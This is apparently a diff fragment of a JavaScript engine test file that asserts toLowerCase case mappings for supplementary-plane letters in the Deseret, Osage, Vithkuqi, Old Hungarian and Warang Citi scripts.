+assertEq(String.fromCodePoint(0x10405).toLowerCase().codePointAt(0), 0x1042D); // DESERET CAPITAL LETTER LONG OO, DESERET SMALL LETTER LONG OO
+assertEq(String.fromCodePoint(0x10406).toLowerCase().codePointAt(0), 0x1042E); // DESERET CAPITAL LETTER SHORT I, DESERET SMALL LETTER SHORT I
+assertEq(String.fromCodePoint(0x10407).toLowerCase().codePointAt(0), 0x1042F); // DESERET CAPITAL LETTER SHORT E, DESERET SMALL LETTER SHORT E
+assertEq(String.fromCodePoint(0x10408).toLowerCase().codePointAt(0), 0x10430); // DESERET CAPITAL LETTER SHORT A, DESERET SMALL LETTER SHORT A
+assertEq(String.fromCodePoint(0x10409).toLowerCase().codePointAt(0), 0x10431); // DESERET CAPITAL LETTER SHORT AH, DESERET SMALL LETTER SHORT AH
+assertEq(String.fromCodePoint(0x1040A).toLowerCase().codePointAt(0), 0x10432); // DESERET CAPITAL LETTER SHORT O, DESERET SMALL LETTER SHORT O
+assertEq(String.fromCodePoint(0x1040B).toLowerCase().codePointAt(0), 0x10433); // DESERET CAPITAL LETTER SHORT OO, DESERET SMALL LETTER SHORT OO
+assertEq(String.fromCodePoint(0x1040C).toLowerCase().codePointAt(0), 0x10434); // DESERET CAPITAL LETTER AY, DESERET SMALL LETTER AY
+assertEq(String.fromCodePoint(0x1040D).toLowerCase().codePointAt(0), 0x10435); // DESERET CAPITAL LETTER OW, DESERET SMALL LETTER OW
+assertEq(String.fromCodePoint(0x1040E).toLowerCase().codePointAt(0), 0x10436); // DESERET CAPITAL LETTER WU, DESERET SMALL LETTER WU
+assertEq(String.fromCodePoint(0x1040F).toLowerCase().codePointAt(0), 0x10437); // DESERET CAPITAL LETTER YEE, DESERET SMALL LETTER YEE
+assertEq(String.fromCodePoint(0x10410).toLowerCase().codePointAt(0), 0x10438); // DESERET CAPITAL LETTER H, DESERET SMALL LETTER H
+assertEq(String.fromCodePoint(0x10411).toLowerCase().codePointAt(0), 0x10439); // DESERET CAPITAL LETTER PEE, DESERET SMALL LETTER PEE
+assertEq(String.fromCodePoint(0x10412).toLowerCase().codePointAt(0), 0x1043A); // DESERET CAPITAL LETTER BEE, DESERET SMALL LETTER BEE
+assertEq(String.fromCodePoint(0x10413).toLowerCase().codePointAt(0), 0x1043B); // DESERET CAPITAL LETTER TEE, DESERET SMALL LETTER TEE
+assertEq(String.fromCodePoint(0x10414).toLowerCase().codePointAt(0), 0x1043C); // DESERET CAPITAL LETTER DEE, DESERET SMALL LETTER DEE
+assertEq(String.fromCodePoint(0x10415).toLowerCase().codePointAt(0), 0x1043D); // DESERET CAPITAL LETTER CHEE, DESERET SMALL LETTER CHEE
+assertEq(String.fromCodePoint(0x10416).toLowerCase().codePointAt(0), 0x1043E); // DESERET CAPITAL LETTER JEE, DESERET SMALL LETTER JEE
+assertEq(String.fromCodePoint(0x10417).toLowerCase().codePointAt(0), 0x1043F); // DESERET CAPITAL LETTER KAY, DESERET SMALL LETTER KAY
+assertEq(String.fromCodePoint(0x10418).toLowerCase().codePointAt(0), 0x10440); // DESERET CAPITAL LETTER GAY, DESERET SMALL LETTER GAY
+assertEq(String.fromCodePoint(0x10419).toLowerCase().codePointAt(0), 0x10441); // DESERET CAPITAL LETTER EF, DESERET SMALL LETTER EF
+assertEq(String.fromCodePoint(0x1041A).toLowerCase().codePointAt(0), 0x10442); // DESERET CAPITAL LETTER VEE, DESERET SMALL LETTER VEE
+assertEq(String.fromCodePoint(0x1041B).toLowerCase().codePointAt(0), 0x10443); // DESERET CAPITAL LETTER ETH, DESERET SMALL LETTER ETH
+assertEq(String.fromCodePoint(0x1041C).toLowerCase().codePointAt(0), 0x10444); // DESERET CAPITAL LETTER THEE, DESERET SMALL LETTER THEE
+assertEq(String.fromCodePoint(0x1041D).toLowerCase().codePointAt(0), 0x10445); // DESERET CAPITAL LETTER ES, DESERET SMALL LETTER ES
+assertEq(String.fromCodePoint(0x1041E).toLowerCase().codePointAt(0), 0x10446); // DESERET CAPITAL LETTER ZEE, DESERET SMALL LETTER ZEE
+assertEq(String.fromCodePoint(0x1041F).toLowerCase().codePointAt(0), 0x10447); // DESERET CAPITAL LETTER ESH, DESERET SMALL LETTER ESH
+assertEq(String.fromCodePoint(0x10420).toLowerCase().codePointAt(0), 0x10448); // DESERET CAPITAL LETTER ZHEE, DESERET SMALL LETTER ZHEE
+assertEq(String.fromCodePoint(0x10421).toLowerCase().codePointAt(0), 0x10449); // DESERET CAPITAL LETTER ER, DESERET SMALL LETTER ER
+assertEq(String.fromCodePoint(0x10422).toLowerCase().codePointAt(0), 0x1044A); // DESERET CAPITAL LETTER EL, DESERET SMALL LETTER EL
+assertEq(String.fromCodePoint(0x10423).toLowerCase().codePointAt(0), 0x1044B); // DESERET CAPITAL LETTER EM, DESERET SMALL LETTER EM
+assertEq(String.fromCodePoint(0x10424).toLowerCase().codePointAt(0), 0x1044C); // DESERET CAPITAL LETTER EN, DESERET SMALL LETTER EN
+assertEq(String.fromCodePoint(0x10425).toLowerCase().codePointAt(0), 0x1044D); // DESERET CAPITAL LETTER ENG, DESERET SMALL LETTER ENG
+assertEq(String.fromCodePoint(0x10426).toLowerCase().codePointAt(0), 0x1044E); // DESERET CAPITAL LETTER OI, DESERET SMALL LETTER OI
+assertEq(String.fromCodePoint(0x10427).toLowerCase().codePointAt(0), 0x1044F); // DESERET CAPITAL LETTER EW, DESERET SMALL LETTER EW
+assertEq(String.fromCodePoint(0x104B0).toLowerCase().codePointAt(0), 0x104D8); // OSAGE CAPITAL LETTER A, OSAGE SMALL LETTER A
+assertEq(String.fromCodePoint(0x104B1).toLowerCase().codePointAt(0), 0x104D9); // OSAGE CAPITAL LETTER AI, OSAGE SMALL LETTER AI
+assertEq(String.fromCodePoint(0x104B2).toLowerCase().codePointAt(0), 0x104DA); // OSAGE CAPITAL LETTER AIN, OSAGE SMALL LETTER AIN
+assertEq(String.fromCodePoint(0x104B3).toLowerCase().codePointAt(0), 0x104DB); // OSAGE CAPITAL LETTER AH, OSAGE SMALL LETTER AH
+assertEq(String.fromCodePoint(0x104B4).toLowerCase().codePointAt(0), 0x104DC); // OSAGE CAPITAL LETTER BRA, OSAGE SMALL LETTER BRA
+assertEq(String.fromCodePoint(0x104B5).toLowerCase().codePointAt(0), 0x104DD); // OSAGE CAPITAL LETTER CHA, OSAGE SMALL LETTER CHA
+assertEq(String.fromCodePoint(0x104B6).toLowerCase().codePointAt(0), 0x104DE); // OSAGE CAPITAL LETTER EHCHA, OSAGE SMALL LETTER EHCHA
+assertEq(String.fromCodePoint(0x104B7).toLowerCase().codePointAt(0), 0x104DF); // OSAGE CAPITAL LETTER E, OSAGE SMALL LETTER E
+assertEq(String.fromCodePoint(0x104B8).toLowerCase().codePointAt(0), 0x104E0); // OSAGE CAPITAL LETTER EIN, OSAGE SMALL LETTER EIN
+assertEq(String.fromCodePoint(0x104B9).toLowerCase().codePointAt(0), 0x104E1); // OSAGE CAPITAL LETTER HA, OSAGE SMALL LETTER HA
+assertEq(String.fromCodePoint(0x104BA).toLowerCase().codePointAt(0), 0x104E2); // OSAGE CAPITAL LETTER HYA, OSAGE SMALL LETTER HYA
+assertEq(String.fromCodePoint(0x104BB).toLowerCase().codePointAt(0), 0x104E3); // OSAGE CAPITAL LETTER I, OSAGE SMALL LETTER I
+assertEq(String.fromCodePoint(0x104BC).toLowerCase().codePointAt(0), 0x104E4); // OSAGE CAPITAL LETTER KA, OSAGE SMALL LETTER KA
+assertEq(String.fromCodePoint(0x104BD).toLowerCase().codePointAt(0), 0x104E5); // OSAGE CAPITAL LETTER EHKA, OSAGE SMALL LETTER EHKA
+assertEq(String.fromCodePoint(0x104BE).toLowerCase().codePointAt(0), 0x104E6); // OSAGE CAPITAL LETTER KYA, OSAGE SMALL LETTER KYA
+assertEq(String.fromCodePoint(0x104BF).toLowerCase().codePointAt(0), 0x104E7); // OSAGE CAPITAL LETTER LA, OSAGE SMALL LETTER LA
+assertEq(String.fromCodePoint(0x104C0).toLowerCase().codePointAt(0), 0x104E8); // OSAGE CAPITAL LETTER MA, OSAGE SMALL LETTER MA
+assertEq(String.fromCodePoint(0x104C1).toLowerCase().codePointAt(0), 0x104E9); // OSAGE CAPITAL LETTER NA, OSAGE SMALL LETTER NA
+assertEq(String.fromCodePoint(0x104C2).toLowerCase().codePointAt(0), 0x104EA); // OSAGE CAPITAL LETTER O, OSAGE SMALL LETTER O
+assertEq(String.fromCodePoint(0x104C3).toLowerCase().codePointAt(0), 0x104EB); // OSAGE CAPITAL LETTER OIN, OSAGE SMALL LETTER OIN
+assertEq(String.fromCodePoint(0x104C4).toLowerCase().codePointAt(0), 0x104EC); // OSAGE CAPITAL LETTER PA, OSAGE SMALL LETTER PA
+assertEq(String.fromCodePoint(0x104C5).toLowerCase().codePointAt(0), 0x104ED); // OSAGE CAPITAL LETTER EHPA, OSAGE SMALL LETTER EHPA
+assertEq(String.fromCodePoint(0x104C6).toLowerCase().codePointAt(0), 0x104EE); // OSAGE CAPITAL LETTER SA, OSAGE SMALL LETTER SA
+assertEq(String.fromCodePoint(0x104C7).toLowerCase().codePointAt(0), 0x104EF); // OSAGE CAPITAL LETTER SHA, OSAGE SMALL LETTER SHA
+assertEq(String.fromCodePoint(0x104C8).toLowerCase().codePointAt(0), 0x104F0); // OSAGE CAPITAL LETTER TA, OSAGE SMALL LETTER TA
+assertEq(String.fromCodePoint(0x104C9).toLowerCase().codePointAt(0), 0x104F1); // OSAGE CAPITAL LETTER EHTA, OSAGE SMALL LETTER EHTA
+assertEq(String.fromCodePoint(0x104CA).toLowerCase().codePointAt(0), 0x104F2); // OSAGE CAPITAL LETTER TSA, OSAGE SMALL LETTER TSA
+assertEq(String.fromCodePoint(0x104CB).toLowerCase().codePointAt(0), 0x104F3); // OSAGE CAPITAL LETTER EHTSA, OSAGE SMALL LETTER EHTSA
+assertEq(String.fromCodePoint(0x104CC).toLowerCase().codePointAt(0), 0x104F4); // OSAGE CAPITAL LETTER TSHA, OSAGE SMALL LETTER TSHA
+assertEq(String.fromCodePoint(0x104CD).toLowerCase().codePointAt(0), 0x104F5); // OSAGE CAPITAL LETTER DHA, OSAGE SMALL LETTER DHA
+assertEq(String.fromCodePoint(0x104CE).toLowerCase().codePointAt(0), 0x104F6); // OSAGE CAPITAL LETTER U, OSAGE SMALL LETTER U
+assertEq(String.fromCodePoint(0x104CF).toLowerCase().codePointAt(0), 0x104F7); // OSAGE CAPITAL LETTER WA, OSAGE SMALL LETTER WA
+assertEq(String.fromCodePoint(0x104D0).toLowerCase().codePointAt(0), 0x104F8); // OSAGE CAPITAL LETTER KHA, OSAGE SMALL LETTER KHA
+assertEq(String.fromCodePoint(0x104D1).toLowerCase().codePointAt(0), 0x104F9); // OSAGE CAPITAL LETTER GHA, OSAGE SMALL LETTER GHA
+assertEq(String.fromCodePoint(0x104D2).toLowerCase().codePointAt(0), 0x104FA); // OSAGE CAPITAL LETTER ZA, OSAGE SMALL LETTER ZA
+assertEq(String.fromCodePoint(0x104D3).toLowerCase().codePointAt(0), 0x104FB); // OSAGE CAPITAL LETTER ZHA, OSAGE SMALL LETTER ZHA
+assertEq(String.fromCodePoint(0x10570).toLowerCase().codePointAt(0), 0x10597); // VITHKUQI CAPITAL LETTER A, VITHKUQI SMALL LETTER A
+assertEq(String.fromCodePoint(0x10571).toLowerCase().codePointAt(0), 0x10598); // VITHKUQI CAPITAL LETTER BBE, VITHKUQI SMALL LETTER BBE
+assertEq(String.fromCodePoint(0x10572).toLowerCase().codePointAt(0), 0x10599); // VITHKUQI CAPITAL LETTER BE, VITHKUQI SMALL LETTER BE
+assertEq(String.fromCodePoint(0x10573).toLowerCase().codePointAt(0), 0x1059A); // VITHKUQI CAPITAL LETTER CE, VITHKUQI SMALL LETTER CE
+assertEq(String.fromCodePoint(0x10574).toLowerCase().codePointAt(0), 0x1059B); // VITHKUQI CAPITAL LETTER CHE, VITHKUQI SMALL LETTER CHE
+assertEq(String.fromCodePoint(0x10575).toLowerCase().codePointAt(0), 0x1059C); // VITHKUQI CAPITAL LETTER DE, VITHKUQI SMALL LETTER DE
+assertEq(String.fromCodePoint(0x10576).toLowerCase().codePointAt(0), 0x1059D); // VITHKUQI CAPITAL LETTER DHE, VITHKUQI SMALL LETTER DHE
+assertEq(String.fromCodePoint(0x10577).toLowerCase().codePointAt(0), 0x1059E); // VITHKUQI CAPITAL LETTER EI, VITHKUQI SMALL LETTER EI
+assertEq(String.fromCodePoint(0x10578).toLowerCase().codePointAt(0), 0x1059F); // VITHKUQI CAPITAL LETTER E, VITHKUQI SMALL LETTER E
+assertEq(String.fromCodePoint(0x10579).toLowerCase().codePointAt(0), 0x105A0); // VITHKUQI CAPITAL LETTER FE, VITHKUQI SMALL LETTER FE
+assertEq(String.fromCodePoint(0x1057A).toLowerCase().codePointAt(0), 0x105A1); // VITHKUQI CAPITAL LETTER GA, VITHKUQI SMALL LETTER GA
+assertEq(String.fromCodePoint(0x1057C).toLowerCase().codePointAt(0), 0x105A3); // VITHKUQI CAPITAL LETTER HA, VITHKUQI SMALL LETTER HA
+assertEq(String.fromCodePoint(0x1057D).toLowerCase().codePointAt(0), 0x105A4); // VITHKUQI CAPITAL LETTER HHA, VITHKUQI SMALL LETTER HHA
+assertEq(String.fromCodePoint(0x1057E).toLowerCase().codePointAt(0), 0x105A5); // VITHKUQI CAPITAL LETTER I, VITHKUQI SMALL LETTER I
+assertEq(String.fromCodePoint(0x1057F).toLowerCase().codePointAt(0), 0x105A6); // VITHKUQI CAPITAL LETTER IJE, VITHKUQI SMALL LETTER IJE
+assertEq(String.fromCodePoint(0x10580).toLowerCase().codePointAt(0), 0x105A7); // VITHKUQI CAPITAL LETTER JE, VITHKUQI SMALL LETTER JE
+assertEq(String.fromCodePoint(0x10581).toLowerCase().codePointAt(0), 0x105A8); // VITHKUQI CAPITAL LETTER KA, VITHKUQI SMALL LETTER KA
+assertEq(String.fromCodePoint(0x10582).toLowerCase().codePointAt(0), 0x105A9); // VITHKUQI CAPITAL LETTER LA, VITHKUQI SMALL LETTER LA
+assertEq(String.fromCodePoint(0x10583).toLowerCase().codePointAt(0), 0x105AA); // VITHKUQI CAPITAL LETTER LLA, VITHKUQI SMALL LETTER LLA
+assertEq(String.fromCodePoint(0x10584).toLowerCase().codePointAt(0), 0x105AB); // VITHKUQI CAPITAL LETTER ME, VITHKUQI SMALL LETTER ME
+assertEq(String.fromCodePoint(0x10585).toLowerCase().codePointAt(0), 0x105AC); // VITHKUQI CAPITAL LETTER NE, VITHKUQI SMALL LETTER NE
+assertEq(String.fromCodePoint(0x10586).toLowerCase().codePointAt(0), 0x105AD); // VITHKUQI CAPITAL LETTER NJE, VITHKUQI SMALL LETTER NJE
+assertEq(String.fromCodePoint(0x10587).toLowerCase().codePointAt(0), 0x105AE); // VITHKUQI CAPITAL LETTER O, VITHKUQI SMALL LETTER O
+assertEq(String.fromCodePoint(0x10588).toLowerCase().codePointAt(0), 0x105AF); // VITHKUQI CAPITAL LETTER PE, VITHKUQI SMALL LETTER PE
+assertEq(String.fromCodePoint(0x10589).toLowerCase().codePointAt(0), 0x105B0); // VITHKUQI CAPITAL LETTER QA, VITHKUQI SMALL LETTER QA
+assertEq(String.fromCodePoint(0x1058A).toLowerCase().codePointAt(0), 0x105B1); // VITHKUQI CAPITAL LETTER RE, VITHKUQI SMALL LETTER RE
+assertEq(String.fromCodePoint(0x1058C).toLowerCase().codePointAt(0), 0x105B3); // VITHKUQI CAPITAL LETTER SE, VITHKUQI SMALL LETTER SE
+assertEq(String.fromCodePoint(0x1058D).toLowerCase().codePointAt(0), 0x105B4); // VITHKUQI CAPITAL LETTER SHE, VITHKUQI SMALL LETTER SHE
+assertEq(String.fromCodePoint(0x1058E).toLowerCase().codePointAt(0), 0x105B5); // VITHKUQI CAPITAL LETTER TE, VITHKUQI SMALL LETTER TE
+assertEq(String.fromCodePoint(0x1058F).toLowerCase().codePointAt(0), 0x105B6); // VITHKUQI CAPITAL LETTER THE, VITHKUQI SMALL LETTER THE
+assertEq(String.fromCodePoint(0x10590).toLowerCase().codePointAt(0), 0x105B7); // VITHKUQI CAPITAL LETTER U, VITHKUQI SMALL LETTER U
+assertEq(String.fromCodePoint(0x10591).toLowerCase().codePointAt(0), 0x105B8); // VITHKUQI CAPITAL LETTER VE, VITHKUQI SMALL LETTER VE
+assertEq(String.fromCodePoint(0x10592).toLowerCase().codePointAt(0), 0x105B9); // VITHKUQI CAPITAL LETTER XE, VITHKUQI SMALL LETTER XE
+assertEq(String.fromCodePoint(0x10594).toLowerCase().codePointAt(0), 0x105BB); // VITHKUQI CAPITAL LETTER Y, VITHKUQI SMALL LETTER Y
+assertEq(String.fromCodePoint(0x10595).toLowerCase().codePointAt(0), 0x105BC); // VITHKUQI CAPITAL LETTER ZE, VITHKUQI SMALL LETTER ZE
+assertEq(String.fromCodePoint(0x10C80).toLowerCase().codePointAt(0), 0x10CC0); // OLD HUNGARIAN CAPITAL LETTER A, OLD HUNGARIAN SMALL LETTER A
+assertEq(String.fromCodePoint(0x10C81).toLowerCase().codePointAt(0), 0x10CC1); // OLD HUNGARIAN CAPITAL LETTER AA, OLD HUNGARIAN SMALL LETTER AA
+assertEq(String.fromCodePoint(0x10C82).toLowerCase().codePointAt(0), 0x10CC2); // OLD HUNGARIAN CAPITAL LETTER EB, OLD HUNGARIAN SMALL LETTER EB
+assertEq(String.fromCodePoint(0x10C83).toLowerCase().codePointAt(0), 0x10CC3); // OLD HUNGARIAN CAPITAL LETTER AMB, OLD HUNGARIAN SMALL LETTER AMB
+assertEq(String.fromCodePoint(0x10C84).toLowerCase().codePointAt(0), 0x10CC4); // OLD HUNGARIAN CAPITAL LETTER EC, OLD HUNGARIAN SMALL LETTER EC
+assertEq(String.fromCodePoint(0x10C85).toLowerCase().codePointAt(0), 0x10CC5); // OLD HUNGARIAN CAPITAL LETTER ENC, OLD HUNGARIAN SMALL LETTER ENC
+assertEq(String.fromCodePoint(0x10C86).toLowerCase().codePointAt(0), 0x10CC6); // OLD HUNGARIAN CAPITAL LETTER ECS, OLD HUNGARIAN SMALL LETTER ECS
+assertEq(String.fromCodePoint(0x10C87).toLowerCase().codePointAt(0), 0x10CC7); // OLD HUNGARIAN CAPITAL LETTER ED, OLD HUNGARIAN SMALL LETTER ED
+assertEq(String.fromCodePoint(0x10C88).toLowerCase().codePointAt(0), 0x10CC8); // OLD HUNGARIAN CAPITAL LETTER AND, OLD HUNGARIAN SMALL LETTER AND
+assertEq(String.fromCodePoint(0x10C89).toLowerCase().codePointAt(0), 0x10CC9); // OLD HUNGARIAN CAPITAL LETTER E, OLD HUNGARIAN SMALL LETTER E
+assertEq(String.fromCodePoint(0x10C8A).toLowerCase().codePointAt(0), 0x10CCA); // OLD HUNGARIAN CAPITAL LETTER CLOSE E, OLD HUNGARIAN SMALL LETTER CLOSE E
+assertEq(String.fromCodePoint(0x10C8B).toLowerCase().codePointAt(0), 0x10CCB); // OLD HUNGARIAN CAPITAL LETTER EE, OLD HUNGARIAN SMALL LETTER EE
+assertEq(String.fromCodePoint(0x10C8C).toLowerCase().codePointAt(0), 0x10CCC); // OLD HUNGARIAN CAPITAL LETTER EF, OLD HUNGARIAN SMALL LETTER EF
+assertEq(String.fromCodePoint(0x10C8D).toLowerCase().codePointAt(0), 0x10CCD); // OLD HUNGARIAN CAPITAL LETTER EG, OLD HUNGARIAN SMALL LETTER EG
+assertEq(String.fromCodePoint(0x10C8E).toLowerCase().codePointAt(0), 0x10CCE); // OLD HUNGARIAN CAPITAL LETTER EGY, OLD HUNGARIAN SMALL LETTER EGY
+assertEq(String.fromCodePoint(0x10C8F).toLowerCase().codePointAt(0), 0x10CCF); // OLD HUNGARIAN CAPITAL LETTER EH, OLD HUNGARIAN SMALL LETTER EH
+assertEq(String.fromCodePoint(0x10C90).toLowerCase().codePointAt(0), 0x10CD0); // OLD HUNGARIAN CAPITAL LETTER I, OLD HUNGARIAN SMALL LETTER I
+assertEq(String.fromCodePoint(0x10C91).toLowerCase().codePointAt(0), 0x10CD1); // OLD HUNGARIAN CAPITAL LETTER II, OLD HUNGARIAN SMALL LETTER II
+assertEq(String.fromCodePoint(0x10C92).toLowerCase().codePointAt(0), 0x10CD2); // OLD HUNGARIAN CAPITAL LETTER EJ, OLD HUNGARIAN SMALL LETTER EJ
+assertEq(String.fromCodePoint(0x10C93).toLowerCase().codePointAt(0), 0x10CD3); // OLD HUNGARIAN CAPITAL LETTER EK, OLD HUNGARIAN SMALL LETTER EK
+assertEq(String.fromCodePoint(0x10C94).toLowerCase().codePointAt(0), 0x10CD4); // OLD HUNGARIAN CAPITAL LETTER AK, OLD HUNGARIAN SMALL LETTER AK
+assertEq(String.fromCodePoint(0x10C95).toLowerCase().codePointAt(0), 0x10CD5); // OLD HUNGARIAN CAPITAL LETTER UNK, OLD HUNGARIAN SMALL LETTER UNK
+assertEq(String.fromCodePoint(0x10C96).toLowerCase().codePointAt(0), 0x10CD6); // OLD HUNGARIAN CAPITAL LETTER EL, OLD HUNGARIAN SMALL LETTER EL
+assertEq(String.fromCodePoint(0x10C97).toLowerCase().codePointAt(0), 0x10CD7); // OLD HUNGARIAN CAPITAL LETTER ELY, OLD HUNGARIAN SMALL LETTER ELY
+assertEq(String.fromCodePoint(0x10C98).toLowerCase().codePointAt(0), 0x10CD8); // OLD HUNGARIAN CAPITAL LETTER EM, OLD HUNGARIAN SMALL LETTER EM
+assertEq(String.fromCodePoint(0x10C99).toLowerCase().codePointAt(0), 0x10CD9); // OLD HUNGARIAN CAPITAL LETTER EN, OLD HUNGARIAN SMALL LETTER EN
+assertEq(String.fromCodePoint(0x10C9A).toLowerCase().codePointAt(0), 0x10CDA); // OLD HUNGARIAN CAPITAL LETTER ENY, OLD HUNGARIAN SMALL LETTER ENY
+assertEq(String.fromCodePoint(0x10C9B).toLowerCase().codePointAt(0), 0x10CDB); // OLD HUNGARIAN CAPITAL LETTER O, OLD HUNGARIAN SMALL LETTER O
+assertEq(String.fromCodePoint(0x10C9C).toLowerCase().codePointAt(0), 0x10CDC); // OLD HUNGARIAN CAPITAL LETTER OO, OLD HUNGARIAN SMALL LETTER OO
+assertEq(String.fromCodePoint(0x10C9D).toLowerCase().codePointAt(0), 0x10CDD); // OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE, OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE
+assertEq(String.fromCodePoint(0x10C9E).toLowerCase().codePointAt(0), 0x10CDE); // OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE, OLD HUNGARIAN SMALL LETTER RUDIMENTA OE
+assertEq(String.fromCodePoint(0x10C9F).toLowerCase().codePointAt(0), 0x10CDF); // OLD HUNGARIAN CAPITAL LETTER OEE, OLD HUNGARIAN SMALL LETTER OEE
+assertEq(String.fromCodePoint(0x10CA0).toLowerCase().codePointAt(0), 0x10CE0); // OLD HUNGARIAN CAPITAL LETTER EP, OLD HUNGARIAN SMALL LETTER EP
+assertEq(String.fromCodePoint(0x10CA1).toLowerCase().codePointAt(0), 0x10CE1); // OLD HUNGARIAN CAPITAL LETTER EMP, OLD HUNGARIAN SMALL LETTER EMP
+assertEq(String.fromCodePoint(0x10CA2).toLowerCase().codePointAt(0), 0x10CE2); // OLD HUNGARIAN CAPITAL LETTER ER, OLD HUNGARIAN SMALL LETTER ER
+assertEq(String.fromCodePoint(0x10CA3).toLowerCase().codePointAt(0), 0x10CE3); // OLD HUNGARIAN CAPITAL LETTER SHORT ER, OLD HUNGARIAN SMALL LETTER SHORT ER
+assertEq(String.fromCodePoint(0x10CA4).toLowerCase().codePointAt(0), 0x10CE4); // OLD HUNGARIAN CAPITAL LETTER ES, OLD HUNGARIAN SMALL LETTER ES
+assertEq(String.fromCodePoint(0x10CA5).toLowerCase().codePointAt(0), 0x10CE5); // OLD HUNGARIAN CAPITAL LETTER ESZ, OLD HUNGARIAN SMALL LETTER ESZ
+assertEq(String.fromCodePoint(0x10CA6).toLowerCase().codePointAt(0), 0x10CE6); // OLD HUNGARIAN CAPITAL LETTER ET, OLD HUNGARIAN SMALL LETTER ET
+assertEq(String.fromCodePoint(0x10CA7).toLowerCase().codePointAt(0), 0x10CE7); // OLD HUNGARIAN CAPITAL LETTER ENT, OLD HUNGARIAN SMALL LETTER ENT
+assertEq(String.fromCodePoint(0x10CA8).toLowerCase().codePointAt(0), 0x10CE8); // OLD HUNGARIAN CAPITAL LETTER ETY, OLD HUNGARIAN SMALL LETTER ETY
+assertEq(String.fromCodePoint(0x10CA9).toLowerCase().codePointAt(0), 0x10CE9); // OLD HUNGARIAN CAPITAL LETTER ECH, OLD HUNGARIAN SMALL LETTER ECH
+assertEq(String.fromCodePoint(0x10CAA).toLowerCase().codePointAt(0), 0x10CEA); // OLD HUNGARIAN CAPITAL LETTER U, OLD HUNGARIAN SMALL LETTER U
+assertEq(String.fromCodePoint(0x10CAB).toLowerCase().codePointAt(0), 0x10CEB); // OLD HUNGARIAN CAPITAL LETTER UU, OLD HUNGARIAN SMALL LETTER UU
+assertEq(String.fromCodePoint(0x10CAC).toLowerCase().codePointAt(0), 0x10CEC); // OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE, OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE
+assertEq(String.fromCodePoint(0x10CAD).toLowerCase().codePointAt(0), 0x10CED); // OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE, OLD HUNGARIAN SMALL LETTER RUDIMENTA UE
+assertEq(String.fromCodePoint(0x10CAE).toLowerCase().codePointAt(0), 0x10CEE); // OLD HUNGARIAN CAPITAL LETTER EV, OLD HUNGARIAN SMALL LETTER EV
+assertEq(String.fromCodePoint(0x10CAF).toLowerCase().codePointAt(0), 0x10CEF); // OLD HUNGARIAN CAPITAL LETTER EZ, OLD HUNGARIAN SMALL LETTER EZ
+assertEq(String.fromCodePoint(0x10CB0).toLowerCase().codePointAt(0), 0x10CF0); // OLD HUNGARIAN CAPITAL LETTER EZS, OLD HUNGARIAN SMALL LETTER EZS
+assertEq(String.fromCodePoint(0x10CB1).toLowerCase().codePointAt(0), 0x10CF1); // OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN, OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN
+assertEq(String.fromCodePoint(0x10CB2).toLowerCase().codePointAt(0), 0x10CF2); // OLD HUNGARIAN CAPITAL LETTER US, OLD HUNGARIAN SMALL LETTER US
+assertEq(String.fromCodePoint(0x118A0).toLowerCase().codePointAt(0), 0x118C0); // WARANG CITI CAPITAL LETTER NGAA, WARANG CITI SMALL LETTER NGAA
+assertEq(String.fromCodePoint(0x118A1).toLowerCase().codePointAt(0), 0x118C1); // WARANG CITI CAPITAL LETTER A, WARANG CITI SMALL LETTER A
+assertEq(String.fromCodePoint(0x118A2).toLowerCase().codePointAt(0), 0x118C2); // WARANG CITI CAPITAL LETTER WI, WARANG CITI SMALL LETTER WI
+assertEq(String.fromCodePoint(0x118A3).toLowerCase().codePointAt(0), 0x118C3); // WARANG CITI CAPITAL LETTER YU, WARANG CITI SMALL LETTER YU
+assertEq(String.fromCodePoint(0x118A4).toLowerCase().codePointAt(0), 0x118C4); // WARANG CITI CAPITAL LETTER YA, WARANG CITI SMALL LETTER YA
+assertEq(String.fromCodePoint(0x118A5).toLowerCase().codePointAt(0), 0x118C5); // WARANG CITI CAPITAL LETTER YO, WARANG CITI SMALL LETTER YO
+assertEq(String.fromCodePoint(0x118A6).toLowerCase().codePointAt(0), 0x118C6); // WARANG CITI CAPITAL LETTER II, WARANG CITI SMALL LETTER II
+assertEq(String.fromCodePoint(0x118A7).toLowerCase().codePointAt(0), 0x118C7); // WARANG CITI CAPITAL LETTER UU, WARANG CITI SMALL LETTER UU
+assertEq(String.fromCodePoint(0x118A8).toLowerCase().codePointAt(0), 0x118C8); // WARANG CITI CAPITAL LETTER E, WARANG CITI SMALL LETTER E
+assertEq(String.fromCodePoint(0x118A9).toLowerCase().codePointAt(0), 0x118C9); // WARANG CITI CAPITAL LETTER O, WARANG CITI SMALL LETTER O
+assertEq(String.fromCodePoint(0x118AA).toLowerCase().codePointAt(0), 0x118CA); // WARANG CITI CAPITAL LETTER ANG, WARANG CITI SMALL LETTER ANG
+assertEq(String.fromCodePoint(0x118AB).toLowerCase().codePointAt(0), 0x118CB); // WARANG CITI CAPITAL LETTER GA, WARANG CITI SMALL LETTER GA
+assertEq(String.fromCodePoint(0x118AC).toLowerCase().codePointAt(0), 0x118CC); // WARANG CITI CAPITAL LETTER KO, WARANG CITI SMALL LETTER KO
+assertEq(String.fromCodePoint(0x118AD).toLowerCase().codePointAt(0), 0x118CD); // WARANG CITI CAPITAL LETTER ENY, WARANG CITI SMALL LETTER ENY
+assertEq(String.fromCodePoint(0x118AE).toLowerCase().codePointAt(0), 0x118CE); // WARANG CITI CAPITAL LETTER YUJ, WARANG CITI SMALL LETTER YUJ
+assertEq(String.fromCodePoint(0x118AF).toLowerCase().codePointAt(0), 0x118CF); // WARANG CITI CAPITAL LETTER UC, WARANG CITI SMALL LETTER UC
+assertEq(String.fromCodePoint(0x118B0).toLowerCase().codePointAt(0), 0x118D0); // WARANG CITI CAPITAL LETTER ENN, WARANG CITI SMALL LETTER ENN
+assertEq(String.fromCodePoint(0x118B1).toLowerCase().codePointAt(0), 0x118D1); // WARANG CITI CAPITAL LETTER ODD, WARANG CITI SMALL LETTER ODD
+assertEq(String.fromCodePoint(0x118B2).toLowerCase().codePointAt(0), 0x118D2); // WARANG CITI CAPITAL LETTER TTE, WARANG CITI SMALL LETTER TTE
